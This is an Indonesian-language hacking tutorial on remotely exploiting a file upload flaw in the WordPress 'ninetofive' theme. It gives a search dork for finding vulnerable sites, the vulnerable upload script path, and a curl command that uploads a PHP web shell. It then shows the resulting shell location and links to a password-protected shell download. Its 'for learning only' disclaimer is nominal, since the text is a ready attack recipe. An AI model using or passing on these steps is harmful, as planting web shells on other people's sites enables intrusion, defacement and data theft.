How To Remote Exploit Wordpress Ninetofive

pake CGI shell download disini http://adf.ly/1DRAlE pass:webr00t

• Dork: inurl:/wp-content/themes/ninetofive
• Exploits: /wp-content/themes/ninetofive/scripts/doajaxfileupload.php
• Vulnerability: {"error":"No files were uploaded."}
• Command: curl -v -F "qqfile=@jiwa.php" "http://localhost/wp-content/themes/ninetofive/scripts/doajaxfileupload.php"

Note: 

Upload dulu shell yg mau kita Remote dari CGI shell ke Web Target

Masukan Command sesuai nama Shell dan site Target kalian jgn sampe Keliru sayank =))

Set-Cookie: PixelAttached_1=%2Fhome%2Fsciencef%2Fpublic_html%2Flocalhost%2Fwp-content%2Fuploads%2F2015%2F03%2Fjiwa_551a89b87c7d7.php; expires=Tue, 31-Mar-2015 12:49:12 

jiwa_551a89b87c7d7.php adalah Result Shell kita ( oia name shellnya bisa berubah gak nentu soalnya)

Result: /wp-content/uploads/2015/04/jiwa.php ( Lebih jelasnya liat di command Resultnya om )

nb:hanya untuk pembelajaran, penyalah gunaan di luar tanggung jawab admin (dosa tanggung ndiri)

matursuwun: slemanroot.net lebih spesipik ke bang Sinkaroid